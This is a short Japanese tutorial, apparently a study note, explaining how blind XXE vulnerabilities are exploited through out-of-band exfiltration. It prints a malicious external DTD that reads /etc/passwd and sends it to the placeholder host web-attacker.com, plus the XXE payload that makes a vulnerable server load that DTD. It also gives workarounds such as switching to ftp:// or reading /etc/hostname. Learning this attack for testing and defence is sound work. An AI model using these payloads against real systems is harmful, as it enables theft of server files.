Hello there, ('ω')ノ
アウトオブバンド技術を使用してブラインド XXE 脆弱性を検出するのは
良いことですが、この脆弱性をどのように悪用するかという問題が頭に浮かび。
攻撃者は機密データを盗もうとする可能性があり。
これもまた、Blind XXE 脆弱性を利用して行われますが、
今回は攻撃者が管理下のシステム上で悪意のある DTD ファイルをホストし、
攻撃者によって Web サーバに送信された XML データを使用して、
Web アプリケーションが次の呼び出しを行う必要があり。
この攻撃者の制御下にある Web サーバ上でホストされる DTD ファイル
たとえば、Web サーバから /etc/passwd ファイルをハイジャックしたい攻撃者は、
次のような悪意のある DTD ファイルを準備して。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
この DTD 定義を分解して説明すると。
file という名前の XML パラメータ エンティティが定義されており、
このエンティティには /etc/passwd ファイルの内容が含まれていて。
eval という名前の XML パラメータ エンティティが定義されており、
別の名前の exfiltrate には XML パラメータ エンティティが定義されている
動的宣言が含まれていて。
ここでの宣言は実際には XML パーサーに関係して。
つまり、URL クエリ文字列式(/?x=%file;)でわかるように、
ファイル エンティティのコンテンツを HTTP リクエストで攻撃者の
Web サーバに送信するタスクが定義されていると言えて。
ここではリクエストではなく、タスク定義と考えることができて
exfiltrate が呼び出されたときにリクエストが作成されて。
%eval;で、exfiltrate の呼び出しによる exfiltrate エンティティへの動的通知時に、
指定された URL でのリクエストが作成され、このリクエストとともに
/etc/passwd ファイルのコンテンツが攻撃者の Web サーバーに送信されて。
攻撃者は、自分が制御するサーバ上で悪意のある DTD ファイルを
ホストする必要があり。
通常、攻撃者はこのファイルを自分の Web サーバにアップロードし、
インターネットに公開して。
たとえば、攻撃者が次のような URL 経由でこのファイルにアクセスすることを
望んでいる場合、
http: //web-attacker.com/malicious.dtd
Web アプリケーションにこの URL を要求させるために、
次の XXE ペイロードを脆弱な Web サーバに送信して。
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
「xxe」という名前の XML パラメータ エンティティが呼び出されると、
DTD ファイル内のエンティティが使用され、XML パーサーが攻撃者の
Web サーバから外部 DTD ファイルを取得して処理して
これらの手順がすべて完了すると、/etc/passwd ファイルが攻撃者の
サーバに転送されて。
注:
この手法は、/etc/passwd などの一部のファイルでは機能しない場合があり。
理由は、改行文字 (\n) が含まれているためで。
/etc/hostname ファイルが URL からのものである場合は、
URL で許可されている文字を検証する API を使用して、
外部 DTD 定義で URL を取得しようとしていたためで。
これを解決するには、http:// プロトコルの代わりに ftp:// プロトコルを使用でき。
または、/etc/passwd を読み取る代わりに、単一行ファイル /etc/hostname を
読み取ることもできて。
Best regards, (^^ゞ